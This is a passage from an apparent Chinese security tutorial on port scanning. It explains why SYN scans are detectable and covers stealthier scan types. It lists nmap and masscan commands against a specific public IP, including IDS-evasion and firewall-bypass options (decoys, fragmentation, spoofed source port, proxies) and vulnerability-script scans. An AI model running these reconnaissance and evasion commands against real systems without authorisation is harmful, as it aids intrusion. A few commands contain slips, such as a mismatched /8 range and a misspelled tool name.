&lt;li&gt;因此，&lt;strong&gt;目标端口上监听的应用程序服务程序（如 Web 服务器、数据库服务）根本没有被激活&lt;/strong&gt;。操作系统内核的网络协议栈在处理到 SYN-ACK 回复这一步后就因为收到 RST 而终止连接。&lt;/li&gt;
&lt;li&gt;结果：&lt;strong&gt;应用层日志里通常找不到这次扫描的记录。&lt;/strong&gt; 应用服务完全不知道有人尝试连接过。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-为何对小白有误导为什么说一点都不隐蔽"&gt;2. 为何“对小白有误导”？为什么说“一点都不隐蔽”？
&lt;/h4&gt;&lt;p&gt;虽然 SYN 扫描避开了应用层日志，但这&lt;strong&gt;并不意味着它在网络层面是隐蔽的或不留下痕迹&lt;/strong&gt;。主要的误导在于初学者可能会认为“不在应用日志里 == 完全隐身”。这是错误的认知。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;现代防火墙/IDS/IPS 的检测能力：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;状态检测 (Stateful Inspection)：&lt;/strong&gt; 这是现代防火墙最基本、最核心的功能之一。防火墙会跟踪所有连接的状态。当它看到一个进来的 &lt;code&gt;SYN&lt;/code&gt; 包，但随后看到的是客户端的 &lt;code&gt;RST&lt;/code&gt; 包（而不是正常的 &lt;code&gt;ACK&lt;/code&gt;）时，它就&lt;strong&gt;知道这个连接没有完成正常的三次握手&lt;/strong&gt;。这是一个非常明显的异常行为特征。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;检测 SYN 扫描模式：&lt;/strong&gt; 高级安全设备会分析网络流量模式。短时间内（几秒或几分钟内）向大量不同端口发送 &lt;code&gt;SYN&lt;/code&gt; 包，并且每个连接都停留在“半开”状态（即没有后续的 &lt;code&gt;ACK&lt;/code&gt;），这&lt;strong&gt;极其符合 SYN 端口扫描的特征模式&lt;/strong&gt;。安全设备可以很容易地通过这种流量特征或速率检测出扫描行为。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;记录和告警：&lt;/strong&gt; 虽然应用层服务没日志，但&lt;strong&gt;防火墙、入侵检测系统 (IDS)、入侵防御系统 (IPS) 和专业的网络安全监控 (NSM) 平台&lt;/strong&gt;非常擅长检测、记录和&lt;strong&gt;产生大量的告警&lt;/strong&gt;来报告 SYN 扫描活动。这些日志和告警通常包含源 IP、时间戳、扫描的端口数量等信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成“防火墙日志”：&lt;/strong&gt; 防火墙会记录这些被检测到的扫描包（丢弃的或被接受的半开连接），而这些日志是网络管理员和安全分析师最常查看的地方。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;总结 “一点都不隐蔽”：&lt;/strong&gt; 虽然 SYN 扫描避开了最表层（应用日志），但它在网络层/传输层&lt;strong&gt;留下了极其清晰、易于被现代安全设备识别的特征指纹&lt;/strong&gt;。在稍有安全防护措施的网络中，这样的扫描就像是黑夜里点燃的信号弹一样明显。安全运维人员第一时间就能看到防火墙或 SIEM 系统发出的 SYN Flood 或端口扫描告警。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-怎么达到相对隐蔽的目的"&gt;3. 怎么达到（相对）隐蔽的目的？
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;绝对的隐蔽在互联网扫描中几乎是不可能的&lt;/strong&gt;。防御方有多种手段（流量监控、蜜罐、ISP 合作等）来检测扫描活动。我们的目标通常是&lt;strong&gt;降低检测率、减少告警噪音、延缓被发现的时间、避免被轻易追踪或封禁&lt;/strong&gt;。一些更隐蔽的扫描技术包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FIN&lt;/code&gt; 扫描 (&lt;code&gt;-sF&lt;/code&gt;)， &lt;code&gt;NULL&lt;/code&gt; 扫描 (&lt;code&gt;-sN&lt;/code&gt;)， &lt;code&gt;Xmas&lt;/code&gt; 扫描 (&lt;code&gt;-sX&lt;/code&gt;):&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; 利用 TCP RFC 规定的一个“小漏洞”：当一个关闭的端口收到不携带 SYN、ACK 或 RST 标志位的怪异包（如只带 FIN、只带 NULL 标志、或者组合了 FIN/URG/PSH 像圣诞树灯一样 - 故名 Xmas）时，&lt;strong&gt;应该&lt;/strong&gt;回复一个 &lt;code&gt;RST&lt;/code&gt; 包。而开放的端口则&lt;strong&gt;应该&lt;/strong&gt;忽略这种不符合连接状态的包，不回复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相对隐蔽性：&lt;/strong&gt; 这种扫描&lt;strong&gt;不会尝试建立连接&lt;/strong&gt;（没有 SYN 包），不是半开连接。它们更像是“敲门试探”。状态防火墙跟踪连接状态时，这些包属于不连接任何现有流量的“异常包”，更难以被仅依赖状态检测的设备识别为扫描（虽然专门检测端口扫描的设备仍然可能抓到）。它们模仿的是连接关闭后残留的迷途包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;局限性：&lt;/strong&gt; 很多非 Unix 系统（如 Windows）的 TCP 栈不严格遵守 RFC，无论端口开放与否，都一律回复 RST。这使得这些扫描对 Windows 主机无效。效果高度依赖于目标系统实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ACK&lt;/code&gt; 扫描 (&lt;code&gt;-sA&lt;/code&gt;):&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; 只发送一个设置了 &lt;code&gt;ACK&lt;/code&gt; 位的 TCP 包（通常这是三次握手&lt;em&gt;之后&lt;/em&gt;的数据包才会有的标志）。不开放端口的防火墙或无状态防火墙会允许 ACK 到达主机，主机根据本地连接状态（肯定没有这个连接）回复一个 &lt;code&gt;RST&lt;/code&gt;。而开放端口且配置了严格状态防火墙的服务器可能会直接丢弃这个 ACK，或者服务器回复 RST 但防火墙阻止了（取决于防火墙规则）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的：&lt;/strong&gt; 主要用于&lt;strong&gt;探测目标主机防火墙的状态和规则&lt;/strong&gt;（是否有状态检测？是否过滤入站包？是否屏蔽特定端口？），而不是直接判断端口开放与否（虽然可以通过是否有 RST 回复间接推断端口是否被防火墙过滤）。本身不那么像端口扫描，更像是网络设备探测。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相对隐蔽性：&lt;/strong&gt; 单个 ACK 包在大量合法流量中不太起眼。不易被简单的 SYN 扫描检测规则发现。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Idle&lt;/code&gt; / Zombie 扫描 (&lt;code&gt;-sI&lt;/code&gt;)：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; 这是最隐蔽的扫描技术之一。利用一个网络上的空闲主机（僵尸/Zombie）的 IP 标识值 (IP ID) 来间接推断目标端口的开放状态。整个过程 Nmap 自身 IP &lt;strong&gt;完全不直接与目标主机通信&lt;/strong&gt;，所有通信都由 Zombie 发起（或对 Zombie 发起的伪造包做出响应）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相对隐蔽性：&lt;/strong&gt; &lt;strong&gt;极高的隐蔽性&lt;/strong&gt;。目标主机看到的扫描来源是 Zombie 主机，而不是你的扫描机（源 IP 欺骗）。目标主机与 Zombie 主机之间的交互（探测包）更像是正常的、零星的网络试探。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;复杂性和局限性：&lt;/strong&gt; 实施非常复杂（需要找到合适的 Zombie 主机，其 IP ID 需是可预测增长的），成功率受很多因素影响（Zombie 的网络活动、路由过滤等）。效率较低。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;降低检测率的关键策略 (与扫描技术结合使用)：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;极慢速率 (&lt;code&gt;--scan-delay&lt;/code&gt;, &lt;code&gt;--max-rate&lt;/code&gt;):&lt;/strong&gt; 将扫描速度降至非常低（如每秒甚至每分钟几个包），模仿正常用户的间歇性访问，融入背景噪声。这是最有效的隐蔽手段之一，但耗时极长。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分散时间 (&lt;code&gt;-T&lt;/code&gt; ):&lt;/strong&gt; 使用 &lt;code&gt;-T 0&lt;/code&gt; (Paranoid) 或 &lt;code&gt;-T 1&lt;/code&gt; (Sneaky) 等最慢的时序模板，人为引入大量随机延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;诱饵扫描 (&lt;code&gt;-D&lt;/code&gt;)：&lt;/strong&gt; 指定多个诱饵 IP（&lt;code&gt;-D decoy1,decoy2,decoy3,ME&lt;/code&gt;）。这样目标会看到来自大量不同 IP 的扫描（包括诱饵和你的真实 IP），增加了追踪真实源的难度。&lt;strong&gt;需要诱饵 IP 确实存在且在网络上可达才能有效混淆。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;源端口伪装 (&lt;code&gt;-g&lt;/code&gt;/&lt;code&gt;--source-port&lt;/code&gt;)：&lt;/strong&gt; 使用常见的、被认为合法的源端口（如 HTTP/80, DNS/53），有时可以骗过非常简陋的基于端口号的过滤规则。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分片扫描 (&lt;code&gt;-f&lt;/code&gt;, &lt;code&gt;--mtu&lt;/code&gt;)：&lt;/strong&gt; 将扫描包分片发送，增加防火墙/IDS 重组和分析内容的难度（但很多设备能重组分片）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用代理链或 Tor：&lt;/strong&gt; 通过层层代理或 Tor 网络进行扫描，隐藏扫描源的真实 IP 地址。Tor 出口节点 IP 容易被封禁且扫描速度极慢。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="总结"&gt;总结
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SYN 扫描 (&lt;code&gt;-sS&lt;/code&gt;) 原理：&lt;/strong&gt; 发送 SYN，接收 SYN-ACK 后立即发送 RST，制造“半开连接”，不建立完整连接，避开应用层日志。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;误导性/不隐蔽：&lt;/strong&gt; 因其明显的“短时间大量半开连接”特征，极易被现代状态防火墙、IDS/IPS 通过状态跟踪和流量模式分析检测到并告警。它在网络防御层留下的痕迹非常深，对新手造成了“应用层没日志=没人发现”的错误印象。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;（相对）隐蔽方法：&lt;/strong&gt; 使用非常规扫描类型 (FIN, NULL, Xmas, ACK, Idle/Zombie)，并&lt;strong&gt;最重要的结合极慢的扫描速率 (&lt;code&gt;--scan-delay&lt;/code&gt;, &lt;code&gt;-T 0/1&lt;/code&gt;)&lt;/strong&gt;，辅以诱饵 (&lt;code&gt;-D&lt;/code&gt;)、源端口伪装 (&lt;code&gt;-g&lt;/code&gt;) 或代理/Tor 等策略。&lt;strong&gt;“慢”常常是最大的隐蔽武器。&lt;/strong&gt; 但记住，没有扫描是真正完全隐形的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;扫描命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sS -sU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -O
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sV -A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 --script &lt;span class="o"&gt;=&lt;/span&gt; smb-os-discovery
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 --script &lt;span class="o"&gt;=&lt;/span&gt; dns-zone-transfer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="命令解析"&gt;&lt;strong&gt;命令解析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sS&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：TCP SYN 扫描（半开扫描）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：发送 SYN 包，收到 SYN-ACK 即判断端口开放（不完成三次握手），速度快且隐蔽（不触发应用层日志）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限&lt;/strong&gt;：需要 &lt;code&gt;sudo&lt;/code&gt;（需构造原始数据包）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sT&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：TCP 连接扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：完成完整的三次握手。速度慢但准确性高，适用于无 &lt;code&gt;sudo&lt;/code&gt; 权限时，但会触发应用层日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sU&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：UDP 扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：向 UDP 端口发送探测包，通过响应判断状态（如 DNS/DHCP 服务）。速度极慢（UDP 无响应重传机制）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sS -sU&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：组合 TCP SYN 扫描 + UDP 扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：全面检测目标机器的 TCP/UDP 开放端口。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sn&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：主机发现（Ping 扫描）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：不扫描端口，仅检测目标是否在线（使用 ARP/ICMP/TCP 等协议探测）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -O&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：操作系统指纹识别。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：通过 TCP/IP 协议栈行为（如 TTL 值、窗口大小）推测目标操作系统。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sV -A&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;作用：全面扫描组合。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;：服务版本探测。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-A&lt;/code&gt;：启用 OS 识别、版本探测、脚本扫描和路由跟踪。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：开放端口、服务版本、操作系统、可能漏洞。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 --script=smb-os-discovery&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：使用 NSE 脚本 &lt;code&gt;smb-os-discovery&lt;/code&gt; 获取 Windows/Samba 系统的操作系统信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：识别 SMB 服务的主机名、系统版本等。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 --script=dns-zone-transfer&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：使用 NSE 脚本 &lt;code&gt;dns-zone-transfer&lt;/code&gt; 尝试 DNS 域传送。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：检测 DNS 服务器配置错误（泄露所有域名记录）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="推荐组合命令"&gt;&lt;strong&gt;推荐组合命令&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-快速扫描基础端口--服务识别"&gt;1. &lt;strong&gt;快速扫描（基础端口 + 服务识别）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -T4 -F -sV 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-T4&lt;/code&gt;：高速模式（牺牲隐蔽性换速度）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-F&lt;/code&gt;：扫描前 100 个常见端口。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;：探测服务版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：快速获取目标基础信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-全面扫描全端口--深度探测"&gt;2. &lt;strong&gt;全面扫描（全端口 + 深度探测）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p- -sS -sV -O -A --script=vuln 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p-&lt;/code&gt;：扫描 1-65535 所有端口。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--script=vuln&lt;/code&gt;：运行漏洞检测脚本（如 &lt;code&gt;http-vuln*&lt;/code&gt;, &lt;code&gt;smb-vuln*&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;耗时&lt;/strong&gt;：较长（约 30-60 分钟），但信息全面。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-隐蔽扫描避免触发告警"&gt;3. &lt;strong&gt;隐蔽扫描（避免触发告警）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -T2 -sS -Pn --scan-delay 1s --randomize-hosts 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-T2&lt;/code&gt;：慢速模式（降低流量特征）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;/code&gt;：跳过主机发现（假设目标在线）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--scan-delay 1s&lt;/code&gt;：每个包间隔 1 秒。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--randomize-hosts&lt;/code&gt;：随机扫描顺序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：规避基础 IDS/防火墙检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-udp-关键服务扫描"&gt;4. &lt;strong&gt;UDP 关键服务扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -sU -p 53,67,68,123,161,162 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;扫描 DNS（53）、DHCP（67/68）、NTP（123）、SNMP（161/162）等关键 UDP 服务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化&lt;/strong&gt;：避免全端口 UDP 扫描（耗时过长）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-web-专项扫描"&gt;5. &lt;strong&gt;Web 专项扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p 80,443,8080 --script=http-title,http-enum,http-shellshock 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;探测 HTTP 服务标题、目录枚举、Shellshock 漏洞。&lt;/li&gt;
&lt;li&gt;可结合 &lt;code&gt;gobuster&lt;/code&gt; 或 &lt;code&gt;nikto&lt;/code&gt; 进行深度扫描。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-防火墙绕过扫描"&gt;6. &lt;strong&gt;防火墙绕过扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -f --mtu 24 -D RND:10 -g 53 --proxies socks4://proxy_ip:1080 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-f&lt;/code&gt;：分片数据包。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D RND:10&lt;/code&gt;：添加 10 个随机诱饵 IP。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-g 53&lt;/code&gt;：伪装源端口为 DNS（53）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--proxies&lt;/code&gt;：通过代理扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：绕过防火墙/IP 封禁。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="nmap-常用技巧"&gt;&lt;strong&gt;Nmap 常用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;保存输出：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -oN report.txt -oX report.xml 38.100.193.70 # 文本/XML 格式
nmap -oG - 38.100.193.70 | grep &amp;#34;open&amp;#34; # 提取开放端口
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对比扫描结果：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ndiff scan1.xml scan2.xml # 检测目标变化
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;搜索 NSE 脚本：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls /usr/share/nmap/scripts/*http* # 查找 HTTP 相关脚本
nmap --script-help=http-vuln* # 查看脚本帮助
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250706233158729" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px"&gt;&lt;/p&gt;
&lt;h3 id="推荐进阶组合命令"&gt;&lt;strong&gt;推荐进阶组合命令&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-高效主机发现--服务扫描"&gt;1. &lt;strong&gt;高效主机发现 + 服务扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 先快速发现存活主机
nmap -sn 38.100.193.70-254 -oG live_hosts.txt

# 提取IP后扫描TOP100端口
grep Up live_hosts.txt | cut -d&amp;#34; &amp;#34; -f2 &amp;gt; targets.txt
nmap -sT -A --top-ports 100 -iL targets.txt -oA full_scan
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250706233301011" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706233301011.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250706233411089" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706233411089.png"&gt;&lt;/p&gt;
&lt;h4 id="2-隐蔽式主机发现避开防火墙"&gt;2. &lt;strong&gt;隐蔽式主机发现（避开防火墙）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -Pn -sn --disable-arp-ping --packet-trace \
--scan-delay 2s 38.100.193.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;/code&gt;：跳过主机发现（假设所有主机在线）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--disable-arp-ping&lt;/code&gt;：禁用ARP探测&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--packet-trace&lt;/code&gt;：显示发送的数据包&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-关键服务快速定位"&gt;3. &lt;strong&gt;关键服务快速定位&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p21,22,80,443,3389 -sT --open 38.100.193.70-254 -oG key_services.txt
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--open&lt;/code&gt;：仅显示开放端口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标端口&lt;/strong&gt;：FTP/SSH/Web/RDP等核心服务&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实用技巧"&gt;&lt;strong&gt;实用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 将扫描结果导入Metasploit
cat top-port-sweep.txt | awk &amp;#39;/Up/{print $2}&amp;#39; &amp;gt; hosts.txt
msfconsole -qx &amp;#34;db_import hosts.txt; services&amp;#34;

# 2. 生成拓扑图（需Nmap编译图形支持）
nmap -sn --traceroute --packet-trace 38.100.193.0/24 -oX netmap.xml
xsltproc netmap.xml -o topology.html
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="masscan快速网络扫描"&gt;Masscan快速网络扫描
&lt;/h2&gt;&lt;p&gt;为扫描整个互联网而设计，六分钟扫描整个互联网，每秒发送一千万个包，masscan实现了自定义的tcp/ip栈堆需要使用sudo权限。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt install masscan 
sudo masscan -p80 192.168.1.0/8 
sudo macscan -p80 192.168.1.0/24 --rate=1000 -e tap0 --router -ip 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250706233730376" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706233730376.png"&gt;&lt;/p&gt;
&lt;h3 id="命令解析-1"&gt;命令解析
&lt;/h3&gt;&lt;h4 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;sudo masscan -p80 192.168.1.0/8&lt;/code&gt;&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：对&lt;strong&gt;超大型网络&lt;/strong&gt;进行快速端口扫描&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关键参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p80&lt;/code&gt;：只扫描80端口（HTTP服务）&lt;/li&gt;
